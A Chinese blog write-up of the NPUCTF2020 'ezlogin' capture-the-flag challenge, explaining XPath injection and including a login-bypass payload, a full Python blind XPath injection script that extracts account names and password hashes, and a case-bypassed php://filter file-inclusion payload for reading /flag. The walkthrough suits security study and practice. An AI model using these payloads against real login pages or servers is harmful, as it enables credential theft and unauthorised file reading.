xpath注入

xpath注入这篇文章有关于xpath很详细的解答,包括原理等,详细了解请见此篇.

我个人再稍微讲一讲:

首先它的网站目录下会有一个xml文件,大概格式是这样:

<?xml version="1.0" encoding="UTF-8"?>
<root>
<id>1</id>
<name>admin</name>
<id>2</id>
<name>karsa</name>
<id>3</id>
<name>flaggg</name>
<flag>flag{karsa is handsome}</flag>
</root>

root是根节点,name是root的子节点。大概是这样的树状结构。flag可能隐藏在这里,或者可能是账号密码,读取flag值或者密码

$xml="/root/name[username='{$username}' and password='{$password}']";

顺便说下,xPath 没有注释一说,所以构造的 payload 要根据语句进行闭合

其实和sql注入很像,也是通过xml语句发现有问题的地方,构造危险代码,爆出信息

比如我们传入username=x' or 1=1 or ''=',密码随意。因为xml的特性:

查询如果不是用[键='值']这种方式的查询,只会返回所有路径标签的值

如果带有[键='值']的查询,会返回和该路径相同的所有路径和该类路径之下节点的所有的值

因为填了两个or,这样即可爆出所有用户名和密码或者实现万能密码登陆。如果有多个节点,继续添加。

之后的payload看文章就好了,真的总结的很好,payload直接用即可

然后一点,为什么不能直接爆出所有的标签呢,因为这又和php有关了。php 只会输出 id 和 username。

我个人认为遇见xpath画一个图有利于理解它的节点情况

解题思路

打开网页,登陆框

实在是各种方法都试了,扫描,源码,f12就看到了一个js文件,登陆成功会转到admin.php,其他没看到任何有用的内容。

找半天发现源码标签有点像xpath,那就试试把

xpath

先试试万能密码发现被过滤了,这里比较麻烦的一点是token值会不断刷新,需要尽快发送数据才行。

他这里比较有意思的地方,正确的时候返回非法操作,再往后试1位会变成用户名或密码错误

这里就不再手工注入了,直接exp

exp

网上找的exp(可能马上会专门出一个requests的博文,然后找些ctf题练练手,自己写)

import requests
import re s = requests.session()
url ='http://47e7790f-8a53-4efa-988b-7a350ebb91d5.node3.buuoj.cn//login.php' head ={
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36",
"Content-Type": "application/xml"
}
find =re.compile('<input type="hidden" id="token" value="(.*?)" />') strs ='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789' flag =''
for i in range(1,100):
for j in strs: r = s.post(url=url)
token = find.findall(r.text)
#猜测根节点名称
payload_1 = "<username>'or substring(name(/*[1]), {}, 1)='{}' or ''='</username><password>3123</password><token>{}</token>".format(i,j,token[0])
#猜测子节点名称
payload_2 = "<username>'or substring(name(/root/*[1]), {}, 1)='{}' or ''='</username><password>3123</password><token>{}</token>".format(i,j,token[0]) #猜测accounts的节点
payload_3 ="<username>'or substring(name(/root/accounts/*[1]), {}, 1)='{}' or ''='</username><password>3123</password><token>{}</token>".format(i,j,token[0]) #猜测user节点
payload_4 ="<username>'or substring(name(/root/accounts/user/*[2]), {}, 1)='{}' or ''='</username><password>3123</password><token>{}</token>".format(i,j,token[0]) #跑用户名和密码
payload_username ="<username>'or substring(/root/accounts/user[2]/username/text(), {}, 1)='{}' or ''='</username><password>3123</password><token>{}</token>".format(i,j,token[0]) payload_password ="<username>'or substring(/root/accounts/user[2]/password/text(), {}, 1)='{}' or ''='</username><password>3123</password><token>{}</token>".format(i,j,token[0]) print(payload_password)
r = s.post(url=url,headers=head,data=payload_username)
print(r.text) if "非法操作" in r.text:
flag+=j
print(flag)
break if "用户名或密码错误!" in r.text:
break print(flag)

exp有两个地方需要注意,1是这个是总的,爆什么在输出那里填哪个payload然后注释掉其他payload就行了,2是根据上图这里提交数据并不用直接在账号处提交,用xml的形式post提交就行了。其他没啥,跟普通的盲注脚本大同小异

然后跑出来的形式大致的结构是这样:

<root>
<accounts>
<user>
<id></id>
<username>gtfly123</username>
<password>e10adc3949ba59abbe56e057f20f883e</password>
</user>
<user>
<id></id>
<username>adm1n</username>
<password>cf7414b5bdb2e65ee43083f4ddbc4d9f</password>
</user>
</accounts>
</root>

这密码一看就经过md5加密了,MD5解密一下,果然,密码就是gtfly123

一开始发现登陆不上,心态爆炸,不知道有啥问题,后面发现账号名不是admin。。。是adm1n。太坑了

登陆成功

发现base64,解密,看这个再看url中,明显是文件包含了,尝试一下。发现有过滤。最后测试一下,使用大小写绕过,用伪协议进行文件读取

?file=pHp://filter/convert.BAse64-encode/resource=/flag

查看源码获得字符串,base64解密获得flag

总结思路

这里一开始没有任何思路,因为访问所有目录都会跳转,也就是说扫描器没有用了,然后其他就发现/static/main.js,如果登陆成功会跳转页面,一开始还在找有没有jwt或者其他js点,看了wp才知道是xpath,这里记一下,又是一种新思路

  • 查看源码发现标签有问题,尝试xpath注入
  • 通过xpath爆出密码
  • 登陆成功获得信息,拿到flag

知识点

  • xpath注入
  • 盲注exp编写

刷题[NPUCTF2020]ezlogin的更多相关文章

  1. LeetCode刷题系列

    LeetCode 我们工作面试和提高自身数据结构和算法能力的时候往往需要刷刷题,我选择LeetCode是通过一个留学论坛了解的.专业,覆盖语种全面. 提前说说刷题的心得: 尽量手写代码,少使用IDE的 ...

  2. ife任务刷题总结(一)-css reset与清除浮动

    本文同时发布于本人的个人网站www.yaoxiaowen.com 百度创办的前端技术学院,是一个面向大学生的前端技术学习平台.虽然只有大学生才有资格报名,提交代码进行比赛排名.但是这并不妨碍我们这些初 ...

  3. 刷题ING...

    我用codeVS刷题.. 努力准备!!

  4. XidianOJ 1020 ACMer去刷题吧

    题目描述 刷题是每个ACMer必由之路,已知某oj上有n个题目,第i个题目小X能做对的概率为Pi(0<=Pi<=1,1<=i<=n) 求小X至少做对k道题的概率 输入 第一行输 ...

  5. 【BZOJ-4590】自动刷题机 二分 + 判定

    4590: [Shoi2015]自动刷题机 Time Limit: 10 Sec  Memory Limit: 256 MBSubmit: 156  Solved: 63[Submit][Status ...

  6. NOI题库分治算法刷题记录

    今天晚自习机房刷题,有一道题最终WA掉两组,极其不爽,晚上回家补完作业欣然搞定它,特意来写篇博文来记录下 (最想吐槽的是这个叫做分治的分类,里面的题目真的需要分治吗...) 先来说下分治法 分治法的设 ...

  7. NOI题库刷题日志 (贪心篇题解)

    这段时间在NOI题库上刷了刷题,来写点心得和题解 一.寻找平面上的极大点 2704:寻找平面上的极大点 总时间限制:  1000ms  内存限制:  65536kB 描述 在一个平面上,如果有两个点( ...

  8. 用js刷题的一些坑

    leecode可以用js刷题了,我大js越来越被认可了是吧.但是刷题中会因为忽略js的一些特性掉入坑里.我这里总结一下我掉过的坑. 坑1:js中数组对象是引用对象 js中除了object还有数组对象也 ...

  9. BZOJ4590 自动刷题机

    Description 曾经发明了信号增幅仪的发明家SHTSC又公开了他的新发明:自动刷题机--一种可以自动AC题目的神秘装置.自动 刷题机刷题的方式非常简单:首先会瞬间得出题目的正确做法,然后开始写 ...

随机推荐

  1. Golang omitempty 的用法

    原文链接:https://blog.csdn.net/skh2015java/article/details/90720692omitempty作用是在json数据结构转换时,当该字段的值为该字段类型 ...

  2. 第1篇 Scrum冲刺博客

    一.Alpha阶段各成员任务 梁天龙 任务名称 预计工时  编辑历史记录  2  登陆按键设计  3  考勤记录页面 2  人数记录页面  2  学习课程页面 4  建议页面  2 黄岳康 任务名称 ...

  3. SpringBoot输出日志到文件

    1 基本信息 SpringBoot版本2.2.5 日志框架SLF4J 日志框架的实现LockBack 2 输出文件的配置 2.1 logging.file.name 指定日志文件的位置. 2.1.1 ...

  4. 元素的生于死(python里元素获取与删除)

    今天被个元素烦着了,找了下网上也没啥直接详细的方法 就总结了下今天找过的方法,分享些简单的方法 直接放干货 删除篇 要删除列表元素的首次出现,只需要list.remove >>> a ...

  5. 利用OpenCV进行H264视频编码的简易方式

    在Python下,利用pip安装预编译的opencv库,并实现h264格式的视频编码. 1. 安装OpenCV $ pip install opencv-python 建议在python虚拟环境下安装 ...

  6. Unity WebGL

    路过弄了个unity Unity导出WebGL不支持c#socket和unity的network 可以用javascript的websocket实现... c#一般通过www从phpserver获取. ...

  7. php反序列化总结与学习

    基础知识: 1.php类与对象 2.魔术函数 3.序列化方法 类与对象 <?php class test{ public $var = "hello world"; publ ...

  8. 浅谈备受开发者好评的.NET core敏捷开发工具,讲讲LEARUN工作流引擎

    通俗来讲,所谓一个工作流管理系统,如果将其拆分出来一个个单讲话,大致可理解为由工作流引擎.工作流设计器.流程操作.工作流客户界面. 流程监控.表单设计器.与表单的集成以及与应用程序的集成等几个部分组成 ...

  9. css动画实现吃豆豆

    话不多说,直接上代码:(作为一个初学者写的代码,多么0基础都能看的懂吧.) HTML部分 <!DOCTYPE html> <html lang=en> <head> ...

  10. Mybatis源码学习第七天(插件源码分析)

    为了不把开发和源码分析混淆,决定分开写; 接下来分析一下插件的源码,说道这里老套路先说一个设计模式,他就是责任链模式 责任链模式:就是把一件工作分别经过链上的各个节点,让这些节点依次处理这个工作,和装 ...